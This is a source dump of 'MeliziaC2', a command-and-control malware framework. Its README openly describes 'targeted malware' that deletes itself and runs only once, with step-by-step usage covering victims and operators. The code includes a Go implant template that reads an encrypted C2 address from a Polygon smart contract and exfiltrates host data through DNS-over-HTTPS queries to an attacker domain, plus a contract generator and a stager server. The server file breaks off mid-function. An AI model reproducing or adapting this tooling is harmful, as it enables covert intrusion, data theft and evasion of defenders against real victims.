├── SmartContractDeployment
├── contracts
│ └── .dummy
├── .env
├── package.json
├── hardhat.config.js
└── scripts
│ └── deploy.js
├── logo.jpg
├── melizia_diagram.png
├── ContractTemplate.sol
├── Template_1_deploy_contracts.js
├── migrate
├── Cargo.toml
└── src
│ └── main.rs
├── Cargo.toml
├── contract_generator.py
├── README.md
├── templates
├── template.go
└── template.rs
├── server_rust.py
├── LICENSE.md
├── c2.py
└── melizia_diagram.svg
/SmartContractDeployment/contracts/.dummy:
--------------------------------------------------------------------------------
1 | dummy
2 |
--------------------------------------------------------------------------------
/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/demon-i386/zoshrinkC2/HEAD/logo.jpg
--------------------------------------------------------------------------------
/SmartContractDeployment/.env:
--------------------------------------------------------------------------------
1 | API_URL = "API_URL"
2 | PRIVATE_KEY = "PRIVATE_KEY"
3 |
--------------------------------------------------------------------------------
/melizia_diagram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/demon-i386/zoshrinkC2/HEAD/melizia_diagram.png
--------------------------------------------------------------------------------
/ContractTemplate.sol:
--------------------------------------------------------------------------------
1 | pragma solidity 0.8.17;
2 |
3 | contract RANDOMNAME{
4 | string public constant CHANGEME_C2VAR = "CHANGEME_VALUE_C2";
5 | }
6 |
--------------------------------------------------------------------------------
/SmartContractDeployment/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "melizia_smartcontract",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "dotenv": "^16.0.3"
13 | },
14 | "devDependencies": {
15 | "@nomiclabs/hardhat-waffle": "^2.0.5",
16 | "ethereum-waffle": "^4.0.10"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/SmartContractDeployment/hardhat.config.js:
--------------------------------------------------------------------------------
1 | /** @type import('hardhat/config').HardhatUserConfig */
2 | require('dotenv').config();
3 | require("@nomiclabs/hardhat-ethers");
4 | const { API_URL, PRIVATE_KEY } = process.env;
5 | module.exports = {
6 | solidity: "0.8.17",
7 | defaultNetwork: "polygon_mumbai",
8 | networks: {
9 | hardhat: {},
10 | polygon_mumbai: {
11 | url: API_URL,
12 | accounts: [`0x${PRIVATE_KEY}`]
13 | }
14 | },
15 | }
16 |
--------------------------------------------------------------------------------
/Template_1_deploy_contracts.js:
--------------------------------------------------------------------------------
1 | async function main() {
2 | const HelloWorld = await ethers.getContractFactory("CHANGEHERE");
3 |
4 | // Start deployment, returning a promise that resolves to a contract object
5 | const hello_world = await HelloWorld.deploy();
6 | console.log("Contract deployed to address:", hello_world.address);
7 | }
8 |
9 | main()
10 | .then(() => process.exit(0))
11 | .catch(error => {
12 | console.error(error);
13 | process.exit(1);
14 | });
15 |
--------------------------------------------------------------------------------
/SmartContractDeployment/scripts/deploy.js:
--------------------------------------------------------------------------------
1 | async function main() {
2 | const HelloWorld = await ethers.getContractFactory("OfCfuWGxJKWcGlrmLKot");
3 | // Start deployment, returning a promise that resolves to a contract object
4 | const hello_world = await HelloWorld.deploy();
5 | console.log("Contract deployed to address:", hello_world.address);
6 | }
7 |
8 | main()
9 | .then(() => process.exit(0))
10 | .catch(error => {
11 | console.error(error);
12 | process.exit(1);
13 | });
14 |
--------------------------------------------------------------------------------
/migrate/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "migrate"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | aes = "0.8.2"
10 | base32 = "0.4.0"
11 | base64 = "0.21.0"
12 | cfb-mode = { version = "0.8.2", features = ["block-padding"] }
13 | block-modes = "0.8.1"
14 | fancy-regex = "0.11.0"
15 | hex = "0.4.3"
16 | hex-literal = "0.4.1"
17 | rand = "0.8.5"
18 | reqwest = { version = "0.11.17", features = ["blocking","json"] }
19 | rsa = "0.9.2"
20 | rustc-serialize = "0.3.24"
21 | serde_json = "1.0.96"
22 | sha2 = "0.10.6"
23 | url = "2.3.1"
24 | openssl = { version = "0.10.49", features = ["vendored"] }
25 | execute = "0.2.12"
26 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "migrate"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | tokio = "1.27.0"
10 | aes="0.7.5"
11 | base64 = "0.21.0"
12 | cfb-mode = "0.8.2"
13 | hex-literal = "0.3.4"
14 | generic-array = "0.14.7"
15 | block-modes="0.8.1"
16 | hex="0.4.3"
17 | hyper = "0.14.25"
18 | url = "2.3.1"
19 | http = "0.2.9"
20 | reqwest = "0.11.16"
21 | regex = "1.7.3"
22 | fancy-regex = "0.11.0"
23 | base32 = "0.4.0"
24 | rustls = "0.21.0"
25 | openssl = { version = "0.10.49", features = ["vendored"] }
26 | rsa = "0.8.2"
27 | pkcs8 = "0.10.1"
28 | pem = "1.1.1"
29 | sha2 = "0.10.6"
30 | lazy_static = "1.4.0"
31 | serde_json = "1.0.95"
32 | rustc-serialize = "0.3.24"
33 | libc = "0.2.141"
34 | rand = "0.8.5"
35 | ethers = "1.0.2"
36 | web3 = "0.17.0"
37 |
--------------------------------------------------------------------------------
/contract_generator.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 | from Crypto.Random import get_random_bytes
3 | from Crypto.Util.Padding import unpad
4 | from Crypto import Random
5 | import base64, secrets, hashlib
6 | import string, random
7 | import subprocess, os, re, colorama
8 | from colorama import Fore, Back, Style
9 | from Crypto.Hash import keccak
10 |
11 | C2ServerIP = "C2_DOMAIN_HERE!"
12 |
13 | def _pad(s):
14 | bs = AES.block_size
15 | return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
16 |
17 | @staticmethod
18 | def _unpad(s):
19 | return s[:-ord(s[len(s)-1:])]
20 |
21 | def AESencrypt(key, raw):
22 | raw = _pad(raw)
23 | iv = Random.new().read(AES.block_size)
24 | cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
25 | return base64.b64encode(iv + cipher.encrypt(raw.encode()))
26 |
27 | def AESdecrypt(key, enc):
28 | enc = base64.b64decode(enc)
29 | iv = enc[:AES.block_size]
30 | cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
31 | return _unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
32 |
33 | def get_random_name():
34 | random_name = []
35 | random_name += ''.join(random.choice(string.ascii_uppercase) for i in range(10))
36 | random_name +=''.join(random.choice(string.ascii_lowercase) for i in range(10))
37 |
38 | random.shuffle(random_name)
39 |
40 | random_name = ''.join(random_name)
41 | return random_name
42 |
43 | def rewrite_config(RandomContractName):
44 | fin = open("./SmartContractDeployment/scripts/deploy.js", "rt")
45 | #read file contents to string
46 | data = fin.read()
47 | #replace all occurrences of the required string
48 | data = data.replace('CHANGEHERE', RandomContractName)
49 | #close the input file
50 | fin.close()
51 | #open the input file in write mode
52 | fin = open("./SmartContractDeployment/scripts/deploy.js", "wt")
53 | #overrite the input file with the resulting data
54 | fin.write(data)
55 | #close the file
56 | fin.close()
57 |
58 | def contact_generator():
59 | C2DecryptKey = get_random_bytes(16)
60 |
61 | RandomContractName = get_random_name()
62 | C2Encrypted = AESencrypt(C2DecryptKey, C2ServerIP)
63 | ContractRandomVarName = get_random_name()
64 |
65 | rewrite_config(RandomContractName)
66 |
67 | fin = open("./ContractTemplate.sol", "rt")
68 | fout = open(f"./SmartContractDeployment/contracts/{RandomContractName}.sol", "wt")
69 | for line in fin:
70 | fout.write(line.replace('RANDOMNAME', RandomContractName).replace('CHANGEME_C2VAR', ContractRandomVarName).replace('CHANGEME_VALUE_C2', C2Encrypted.decode()))
71 |
72 | fin.close()
73 | fout.close()
74 |
75 | fin = open("./Template_1_deploy_contracts.js", "rt")
76 | fout = open(f"./SmartContractDeployment/scripts/deploy.js", "wt")
77 | for line in fin:
78 | fout.write(line.replace('CHANGEHERE', RandomContractName))
79 |
80 | fin.close()
81 | fout.close()
82 |
83 | os.system(f"/usr/lib/node_modules/solc/solc.js --abi ./SmartContractDeployment/contracts/{RandomContractName}.sol -o ContractBuild")
84 | os.system(f"/usr/lib/node_modules/solc/solc.js --bin ./SmartContractDeployment/contracts/{RandomContractName}.sol -o ContractBuild")
85 | os.system(f"/home/user/go/bin/abigen --bin=./ContractBuild/SmartContractDeployment_contracts_{RandomContractName}_sol_{RandomContractName}.bin --abi=./ContractBuild/SmartContractDeployment_contracts_{RandomContractName}_sol_{RandomContractName}.abi --pkg=store --out=./ContractBuild/{RandomContractName}.go")
86 | p = subprocess.Popen(f"cd SmartContractDeployment && npx hardhat run scripts/deploy.js --network polygon_mumbai", stdout=subprocess.PIPE, shell=True)
87 |
88 | output = str(p.communicate())
89 | regex = r"(?!address: )0x[A-Za-f0-9]{40}"
90 | matches = re.search(regex, output).group(0)
91 |
92 |
93 | keccak_hash = keccak.new(digest_bits=256)
94 | ContractABICalc = ContractRandomVarName + "()"
95 |
96 | print(f"Calculating keccak from :: {ContractABICalc}")
97 |
98 | keccak_hash.update(ContractABICalc.encode("utf-8"))
99 | contractKeccak = keccak_hash.hexdigest()[:8]
100 |
101 | print(f"\n\nContract address :: {matches}")
102 | print(f"Encrypted C2 address :: {C2Encrypted.decode()}")
103 | print(f"Contract key :: {base64.b64encode(C2DecryptKey).decode()}")
104 | print(f"Generated contract variable name :: {ContractRandomVarName}")
105 | print(f"Contract keccak :: {contractKeccak}")
106 | print(f"\n\n{Fore.GREEN}gen_payload primaryServerIP:port {matches} {base64.b64encode(C2DecryptKey).decode()} {contractKeccak}{Style.RESET_ALL}\n")
107 |
108 |
109 | contact_generator()
110 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MeliziaC2
2 | DNS over HTTPS targeted malware (only runs once)
3 |
4 | ! Some functions are not available yet !
5 | ! WIP, don't use in production !
6 |
7 |
8 |
9 |
10 |
11 | ## Key Features
12 | - [x] Auto-delete malware on failure
13 | - [x] Fully encrypted (per victim RSA key) DoH (DNS-over-HTTPS) communication
14 | - [x] Malware only runs once!
15 |
16 | ## Diagram
17 |
18 | 
19 |
20 | ## Images
21 |
22 | 
23 |
24 | 
25 |
26 | 
27 |
28 |
29 | ### Requires
30 | https://github.com/demon-i386/throatcut
31 |
32 | ## Usage Steps
33 |
34 | ###### 0 - Edit contract_generator.py file
35 | ```
36 | modify C2ServerIP variable:
37 | C2ServerIP = "attacker.domain.com"
38 | ```
39 |
40 | Create a polygon testnet API key, for smart contract deployment
41 | https://auth.alchemy.com/signup
42 |
43 | Edit SmartContractDeployment/.env
44 | ```
45 | API_URL = "https://polygon-mumbai.g.alchemy.com/v2/[API KEY]"
46 | PRIVATE_KEY = "[WALLET PRIVATE KEY]"
47 | ```
48 |
49 | Download hardhat, solc (0.8.17+commit.8df45f5f.Emscripten.clang) and abigen (1.11.5-unstable-f7336573-20230316)
50 |
51 | https://hardhat.org
52 | https://github.com/ethereum/solc-js
53 | https://geth.ethereum.org/docs/tools/abigen
54 |
55 | attention to hardcoded binaries paths in contract_generator.py script!
56 |
57 | ###### 1 - Generate and deploy smart contract (contains the AES encrypted DNS address of server)
58 | ```
59 | attacker_machine@ThreatActor:$ python3 contract_generator.py
60 | [...]
61 | Calculating keccak from :: ImTWdbREqskoawYAXzEB()
62 |
63 | Contract address :: 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6
64 | Encrypted C2 address :: weTq1JD5gpk4Guv/9wTXXhcXgxI+0V+aQPKly7F0rdM=
65 | Contract key :: 9o2goajTJ3ivI+DLB+rRzw==
66 | Generated contract variable name :: ImTWdbREqskoawYAXzEB
67 | Contract keccak :: 7941b5a6
68 |
69 | gen_payload primaryServerIP:port 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6 9o2goajTJ3ivI+DLB+rRzw== 7941b5a6
70 | ```
71 |
72 | ###### 2 - Generate payload using the returned parameters
73 | ```
74 | attacker_stager_server@Stager:$ python3 server_rust.py
75 | Server running!
76 | > gen_payload stagerServerPublicIP:stagerServerExposedPort(1337 by default) 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6 9o2goajTJ3ivI+DLB+rRzw== 7941b5a6
77 | Smart contract address :: 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6
78 | Smart contract Keccak :: 7941b5a6
79 | Generated payload with hash :: b'8822a96ba043c606b16ede401cb4a22f2a57c63214311c4ed21f5c705a5d7687'
80 |
81 | >
82 | ```
83 |
84 | ###### 3 - Compile payload
85 | ```
86 | attacker_stager_server@Stager:~/Desktop/babagola/migrate$ cargo build --release --target=x86_64-unknown-linux-musl
87 | [...]
88 | warning: `migrate` (bin "migrate") generated 147 warnings
89 | Finished release [optimized] target(s) in 0.18s
90 | warning: the following packages contain code that will be rejected by a future version of Rust: rustc-serialize v0.3.24
91 | note: to see what the problems were, use the option `--future-incompat-report`, or run `cargo report future-incompatibilities --id 1051`
92 | ```
93 |
94 | ###### 4 - run (Victim)
95 | ```
96 | user@Ubuntu:$ ./malware
97 | [debug information]
98 | ```
99 |
100 | ##### 5 - control!
101 | ```
102 | threatactor@C2Server:~/C2_Melizia$ sudo python3.10 c2.py
103 | sudo: unable to resolve host TestingC2: Resource temporarily unavailable
104 | Melizia C2
105 | Pwned by trololo gang! kek kek keke kekw
106 | - "SYSADMIN VOCÊ ESTÁ SENDO HIPNOTIZADO, ESQUEÇA QUE ESSA OWNADA EXISTIU"
107 | |) /\ |\ | /` |
108 | |) \/ | \| \] .
109 | __________ |) /\ |\ | /` |
110 | /________ /| |) \/ | \| \] .
111 | | X|I | |
112 | | | | | |) /\ |\ | /` |
113 | |IX * III| | |) \/ | \| \] .
114 | | | | |
115 | |____VI___| | |) /\ |\ | /` |
116 | | / | | |) \/ | \| \] .
117 | | / | |
118 | | / | | |) /\ |\ | /` |
119 | |( ) | | |) \/ | \| \] .
120 | |_________|/
121 | |) /\ |\ | /` |
122 | |) \/ | \| \] .
123 |
124 |
125 | Ctrl+C is disabled! please use "exit" to exit from Melizia
126 | Use "help" to see the available commands!
127 | [!] DNS Server started
128 |
129 | (Melizia)> A spaceship arrived!
130 | "92994c589f860bab7af687fc3525d3de445812f52e951f5cf2d04432751a1b8c" Called home!
131 | ```
132 |
133 | ##### 6 - anddd, the artifact only runs once! (attempt to run the same artifact)
134 | ```
135 | [Victim]
136 |
137 | user@Ubuntu:$ ./target/x86_64-unknown-linux-musl/release/migrate
138 | user@Ubuntu:$ ./target/x86_64-unknown-linux-musl/release/migrate
139 | -bash: ./target/x86_64-unknown-linux-musl/release/migrate: No such file or directory <- Unlink
140 |
141 | [Stager]
142 | user@Ubuntu:~/Desktop/babagola$ python3 server_rust.py
143 |
144 | Server running!
145 | > gen_payload 127.0.0.1:1337 0x564c3D9bBF15D7Be75f7468b4470f5d0B11bbD79 wiDt52uxNO7X7iUB8v0THw== b100ca9f
146 | Smart contract address :: 0x564c3D9bBF15D7Be75f7468b4470f5d0B11bbD79
147 | Smart contract Keccak :: b100ca9f
148 | Generated payload with hash :: b'67d6f46082e7ab5a48864d8e887bf571d1dca03161084392d1edf1738e03fdb6'
149 |
150 | [Valid Victim]
151 | > 127.0.0.1:46390 - ce0fba743a0694c32b5d3051c801c1518d0ecf719aa12e89da7ec3a133eb894f
152 | Records: b'Yo/W/UQkmZ8etNrjiHCJC7EIWP9It2V3r1AWDaPnqx4='
153 |
154 | New client incomming! preparing the missiles to attack :: ('127.0.0.1', 46390)
155 | Sending smart contract address :: 0x564c3D9bBF15D7Be75f7468b4470f5d0B11bbD79
156 |
157 | [Invalid Victim]
158 | 127.0.0.1:38478 - ce0fba743a0694c32b5d3051c801c1518d0ecf719aa12e89da7ec3a133eb894f
159 | ```
160 |
161 | ## Compilation
162 | ###### Static compile
163 | ```
164 | rustup target add x86_64-unknown-linux-musl
165 | cargo build --release --target=x86_64-unknown-linux-musl
166 |
167 | or (windows)
168 |
169 | RUSTFLAGS="-C debuginfo=0 -C strip=symbols -C debug-assertions=no -C panic=abort -C target-feature=+crt-static -C relocation-model=pic split-debuginfo=packed --remap-path-prefix $HOME=~" cargo xwin build --target x86_64-pc-windows-msv
170 | ```
171 |
172 | # Donate!
173 | ```
174 | Pix:
175 | 997f8e1c-5ea4-42d8-9a52-2d1a852e4274
176 |
177 | https://nubank.com.br/pagar/sqtrd/oGVMf6g6Pa
178 |
179 | Cripto
180 | Direct:
181 | BTC
182 | 1ACguGNLXik3sKYShtEuUX4ahYuM3yPFQq
183 |
184 | MATIC
185 | 0x3b1699bbd7f67db0987ebef0f5f7b00c12fefddf
186 |
187 | ETH
188 | 0x3b1699bbd7f67db0987ebef0f5f7b00c12fefddf
189 |
190 | Metamask:
191 | 0x30f2F62FD0700af80Deb70D520f07deE9D411a33
192 |
193 | XMR
194 | 83dsNXwoxmX54CNrv6WrB1dJeiyttgBZM2JFvUh43MMrDghfZmfcsB7cGywVL1X69YQBcMsxm8mbdJhEdzCjgdaETKawxFK
195 |
196 | SOL
197 | 2DsFcwmKtqCCS2WhVM2FCt4LJa18ugk5o26sarbhcqnR
198 |
199 | All the currencies are supported!
200 | https://nowpayments.io/donation/demoni3864
201 | ```
202 |
203 |
--------------------------------------------------------------------------------
/templates/template.go:
--------------------------------------------------------------------------------
1 | package main
2 | import (
3 | "io/ioutil"
4 | "log"
5 | "os"
6 | "net"
7 | "fmt"
8 | "bytes"
9 | "encoding/pem"
10 | "crypto/x509"
11 | "crypto/rsa"
12 | "crypto/dsa"
13 | "crypto/ecdsa"
14 | "crypto/rand"
15 | "crypto/sha256"
16 | "encoding/hex"
17 | "crypto/aes"
18 | b64 "encoding/base64"
19 | "github.com/dlclark/regexp2"
20 | b32 "encoding/base32"
21 | "context"
22 | "time"
23 | "strconv"
24 | "crypto/cipher"
25 |
26 | "github.com/ethereum/go-ethereum/common"
27 | "github.com/ethereum/go-ethereum/ethclient"
28 | "github.com/ethereum/go-ethereum/accounts/abi/bind"
29 | "github.com/tidwall/gjson"
30 | "github.com/likexian/gokit/xhttp"
31 | "strings"
32 | store "./ContractBuild"
33 | )
34 |
35 | const Hash = "UNIQUEHASH"
36 | const SrvAddr = "127.0.0.1"
37 | const SrvPort = "1337"
38 | const TestNetwork = "https://endpoints.omniatech.io/v1/matic/mumbai/public"
39 | var RSA_public_key []byte
40 | var DNSName []byte
41 | var sumHex string
42 | var C2public_key string
43 | var C2private_key string
44 | //type Agent struct{
45 | // Plataform string
46 | // Architecture string
47 | // Username string
48 | // Domain string
49 | // Process string
50 | //}
51 |
52 |
53 | func get_hostname() string{
54 | hostname, _ := os.Hostname()
55 | return hostname
56 | }
57 |
58 | func encryptCommandOutput(command string) string{
59 | pubPem, _ := pem.Decode(RSA_public_key)
60 | sum := sha256.Sum256(RSA_public_key)
61 | var sumHex string = hex.EncodeToString(sum[:])
62 | pub, err := x509.ParsePKIXPublicKey(pubPem.Bytes)
63 | if err != nil {
64 | panic("failed to parse DER encoded public key: " + err.Error())
65 | }
66 |
67 | switch pub := pub.(type) {
68 | case *rsa.PublicKey:
69 | fmt.Println("pub is of type RSA:", pub)
70 | case *dsa.PublicKey:
71 | fmt.Println("pub is of type DSA:", pub)
72 | case *ecdsa.PublicKey:
73 | fmt.Println("pub is of type ECDSA:", pub)
74 | default:
75 | panic("unknown type of public key")
76 | }
77 | key, _ := pub.(*rsa.PublicKey)
78 | encryptedBytes, err := rsa.EncryptOAEP(
79 | sha256.New(),
80 | rand.Reader,
81 | key,
82 | []byte(command),
83 | nil)
84 | encryptedBytes = bytes.Trim(encryptedBytes, "\x00")
85 | sEnc := b32.StdEncoding.EncodeToString([]byte(encryptedBytes))
86 | s := fmt.Sprintf("%s|%s", string(sumHex), sEnc)
87 | return b32.StdEncoding.EncodeToString([]byte(s))
88 | }
89 |
90 | func regexp2FindAllString(re *regexp2.Regexp, s string) []string {
91 | var matches []string
92 | m, _ := re.FindStringMatch(s)
93 | for m != nil {
94 | matches = append(matches, m.String())
95 | m, _ = re.FindNextMatch(m)
96 | }
97 | return matches
98 | }
99 |
100 |
101 | func sendDNSRequest(message string, typeMSG string)([]byte){
102 | // client := &http.Client{}
103 | fmt.Println(message)
104 | ctx, _ := context.WithTimeout(context.Background(), 10*time.Second)
105 | param := xhttp.QueryParam{
106 | "name": message,
107 | "type": typeMSG,
108 | }
109 | rsp, _ := xhttp.New().Get(ctx, "https://1.1.1.1/dns-query", param, xhttp.Header{"accept": "application/dns-json"})
110 | buf, err := rsp.Bytes()
111 | if typeMSG == "TXT"{
112 | rsaPublicKeyPart := []string{}
113 | var re = regexp2.MustCompile(`(?<==)(.*?)\\`, 0)
114 | matches := regexp2FindAllString(re, string(buf))
115 | for _, ch := range matches {
116 | rsaPublicKeyPart = append(rsaPublicKeyPart, ch[:len(ch)-1])
117 | }
118 | var rsaPublicKeyJoined string
119 | rsaPublicKeyJoined = strings.Join(rsaPublicKeyPart,"")
120 | decodedCertificate, _ := b32.StdEncoding.DecodeString(rsaPublicKeyJoined)
121 | return decodedCertificate
122 | }
123 | defer rsp.Close()
124 | if err != nil{
125 | fmt.Println(err)
126 | }
127 | return buf
128 | }
129 |
130 | func dnsRequestEncoder(message string){
131 | fmt.Println("Encoding DNS request!")
132 | dnsmax := 255
133 | dnsdomainNameSize := 15
134 | remainSize := dnsmax-dnsdomainNameSize
135 | dnsList := []string{}
136 | domainName := ".demoni386.ninja"
137 |
138 | fmt.Printf("\nSize remaining for DNS request :: %d\n", remainSize)
139 | fmt.Printf("Size of message :: %d\n", len(message))
140 | fmt.Printf("Total requests needed :: %d\n", (len(message)/remainSize))
141 | fmt.Printf("Message blocks needed :: %d\n", (len(message) % 63))
142 | fmt.Printf("Message :: %s\n", string(message))
143 | var dnsStringJoined string
144 | var packetOrder int = 0
145 |
146 | for z, rune := range message {
147 | dnsStringJoined = strings.Join(dnsList,"")
148 | if z % 61 == 0 && z != 0{
149 | dnsList = append(dnsList, ".")
150 | }
151 | if len(dnsStringJoined) >= (245 - len(domainName)){
152 | packetOrder = packetOrder + 1
153 | dnsList = append(dnsList, string("-"+strconv.Itoa(packetOrder)+"-"+strconv.Itoa(len(dnsStringJoined))+"-"))
154 | dnsList = append(dnsList, string(domainName))
155 | dnsStringJoined = strings.Join(dnsList,"")
156 | fmt.Println(dnsStringJoined)
157 | sendDNSRequest(dnsStringJoined, "A")
158 | dnsList = nil
159 | dnsStringJoined = ""
160 | }
161 | dnsList = append(dnsList, string(rune))
162 | }
163 | if dnsList != nil{
164 | packetOrder = packetOrder + 1
165 | dnsList = append(dnsList, string("-"+strconv.Itoa(packetOrder)+"-"+strconv.Itoa(len(dnsStringJoined))+"-"+"_"))
166 | dnsList = append(dnsList, string(domainName))
167 | dnsStringJoined = strings.Join(dnsList,"")
168 | sendDNSRequest(dnsStringJoined, "A")
169 | dnsList = nil
170 | }
171 | }
172 |
173 | func handleCommand(con net.Conn){
174 | fmt.Println("handling command!")
175 | dnsList := []string{}
176 | recvData := make([]byte, 1024)
177 | var debug int = 0
178 | for{
179 | con.Read(recvData)
180 | recvData = bytes.Trim(recvData, "\x00")
181 |
182 | if(len(recvData) > 0){
183 | fmt.Println(string(recvData))
184 | var test string = get_hostname()
185 | var command = encryptCommandOutput(test)
186 | if debug == 1{
187 | runes := []rune(command)
188 | for i := 1; i < len(command) ; i++ {
189 | fmt.Printf("Rune %v is '%c'\n", i, string(runes[i]))
190 | value := gjson.Get(string(recvData), string(runes[i]))
191 | dnsList = append(dnsList, value.Str)
192 | }
193 | var dnsStringJoined string = strings.Join(dnsList, "-")
194 | fmt.Println(dnsStringJoined)
195 | dnsRequestEncoder(dnsStringJoined)
196 | }
197 | dnsRequestEncoder(command)
198 | }
199 | }
200 | }
201 |
202 |
203 | func generateC2RSAKeyPair()(string, *rsa.PrivateKey){
204 | privatekey, err := rsa.GenerateKey(rand.Reader, 2048)
205 | if err != nil {
206 | fmt.Printf("Cannot generate RSA key\n")
207 | os.Exit(1)
208 | }
209 |
210 | C2PublicKey := &privatekey.PublicKey
211 | publicKeyBytes, _ := x509.MarshalPKIXPublicKey(C2PublicKey)
212 | publicKeyBlock := pem.Block{
213 | Type: "PUBLIC KEY",
214 | Bytes: publicKeyBytes,
215 | }
216 | publicKeyPem := string(pem.EncodeToMemory(&publicKeyBlock))
217 | return publicKeyPem, privatekey
218 | }
219 |
220 |
221 | func handleCertificate(DNSName string, con net.Conn){
222 | RSA_public_key = sendDNSRequest(DNSName, "TXT")
223 | pubPem, _ := pem.Decode(RSA_public_key)
224 | _, err := x509.ParsePKIXPublicKey(pubPem.Bytes)
225 | if err != nil{
226 | os.Exit(0)
227 | }
228 | sum := sha256.Sum256(RSA_public_key)
229 | var sumHex string = hex.EncodeToString(sum[:])
230 |
231 | C2public_key,_ = generateC2RSAKeyPair()
232 | C2CertificatePK := fmt.Sprintf("1|%s|%s", string(sumHex), b32.StdEncoding.EncodeToString([]byte(C2public_key)))
233 | dnsRequestEncoder(C2CertificatePK)
234 | }
235 |
236 | func removePadding(pt []byte) []byte {
237 | padLength := int(pt[len(pt)-1])
238 | return pt[:len(pt)-padLength]
239 | }
240 |
241 | func main() {
242 | ContractKey := []byte("SMARTCONTRACTKEY")
243 |
244 | con, _ := net.Dial("tcp", "127.0.0.1:1337")
245 |
246 | con.Write([]byte(Hash))
247 | con.(*net.TCPConn).CloseWrite()
248 |
249 | smartContractData, _ := ioutil.ReadAll(con)
250 | smartContractData = bytes.Trim(smartContractData, "\x00")
251 |
252 |
253 | smartContractAESKeyUnencoded := make([]byte, b64.StdEncoding.DecodedLen(len(ContractKey)))
254 | b64.StdEncoding.Decode(smartContractAESKeyUnencoded, ContractKey)
255 | smartContractAESKeyUnencoded = bytes.Trim(smartContractAESKeyUnencoded, "\x00")
256 |
257 |
258 | if string(smartContractData) == Hash {
259 | os.Exit(0)
260 | } else {
261 | con.Close()
262 | client, err := ethclient.Dial(TestNetwork)
263 |
264 | if err != nil {
265 | fmt.Printf("Oops! There was a problem :: %s\n", err)
266 | } else {
267 | fmt.Println("Sucess! you are connected to the Ethereum Network")
268 | }
269 |
270 | address := common.HexToAddress(string(smartContractData))
271 | instance, err := store.NewStore(address, client)
272 | if err != nil {
273 | fmt.Println(err)
274 | }
275 | data, err := instance.CONTRACTVARIABLENAME(&bind.CallOpts{});
276 | if err != nil {
277 | fmt.Println(err)
278 | }
279 |
280 |
281 | dataByte := []byte(data)
282 | fmt.Println(string(dataByte))
283 | smartContractC2IP := make([]byte, b64.StdEncoding.DecodedLen(len(data)))
284 | b64.StdEncoding.Decode(smartContractC2IP, dataByte)
285 | smartContractC2IP = bytes.Trim(smartContractC2IP, "\x00")
286 |
287 | iv := smartContractC2IP[:aes.BlockSize]
288 | fmt.Println(iv)
289 | ciphertext := smartContractC2IP[aes.BlockSize:]
290 | fmt.Println(ciphertext)
291 |
292 | block, err := aes.NewCipher(smartContractAESKeyUnencoded)
293 | if err != nil {
294 | panic(err)
295 | }
296 |
297 | stream := cipher.NewCFBDecrypter(block, iv)
298 | stream.XORKeyStream(ciphertext, ciphertext)
299 |
300 | ciphertext = removePadding(ciphertext)
301 |
302 | if err != nil {
303 | fmt.Printf("Oops! There was a problem :: %s\n", err)
304 | } else {
305 | fmt.Println("Sucess! you are connected to the Ethereum Network")
306 | }
307 |
308 | DNSName = ciphertext
309 | fmt.Println(DNSName)
310 | conn, _ := net.Dial("tcp", fmt.Sprintf("%s", ciphertext))
311 | fmt.Println("Connection started!")
312 | handleCertificate(string(DNSName), conn)
313 |
314 | }
315 | con.Close()
316 | }
317 |
318 | func checkError(err error) {
319 |
320 | if err != nil {
321 | log.Fatal(err)
322 | }
323 | }
324 |
--------------------------------------------------------------------------------
/server_rust.py:
--------------------------------------------------------------------------------
1 | import socket, threading, readline, secrets, hashlib, sqlite3, base64
2 | from datetime import datetime
3 | from Crypto.Cipher import AES
4 | from Crypto.Random import get_random_bytes
5 | from Crypto.Util.Padding import unpad
6 | from Crypto import Random
7 | import os
8 |
9 | # Global variable that mantain client's connections
10 | connections = []
11 |
12 | debug = True
13 | contractAddress = None
14 |
15 | def write_hash_to_artifact(hash, uniqueAESKey, smartContractKey, KeccakData, stagerAddress):
16 | KeccakData = "0x" + KeccakData
17 | # ContractVariable = ContractVariable[0].upper()+ContractVariable[1:]
18 | fin = open("./templates/template.rs", "rt")
19 | if debug != True:
20 | fout = open(f"main-{datetime.utcnow().timestamp()}.rs", "wt")
21 | else:
22 | fout = open(f"./migrate/src/lib.rs", "wt")
23 | #for each line in the input file
24 | for line in fin:
25 | #read replace the string and write to output file CONTRACTVARIABLENAME
26 | fout.write(line.replace('UNIQUEHASH', hash).replace('UNIQUEAESKEY', uniqueAESKey.decode('utf-8')).replace('SMARTCONTRACTKEY', smartContractKey).replace('KECCAKHERE', KeccakData).replace('STAGERADDRESS', stagerAddress))
27 | smartContractKey = None
28 | #close input and output files
29 | fin.close()
30 | fout.close()
31 |
32 | def _pad(s):
33 | bs = AES.block_size
34 | return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
35 |
36 | @staticmethod
37 | def _unpad(s):
38 | return s[:-ord(s[len(s)-1:])]
39 |
40 | def AESencrypt(key, raw):
41 | raw = _pad(raw)
42 | iv = Random.new().read(AES.block_size)
43 | cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
44 | return base64.b64encode(iv + cipher.encrypt(raw.encode()))
45 |
46 | def AESdecrypt(key, enc):
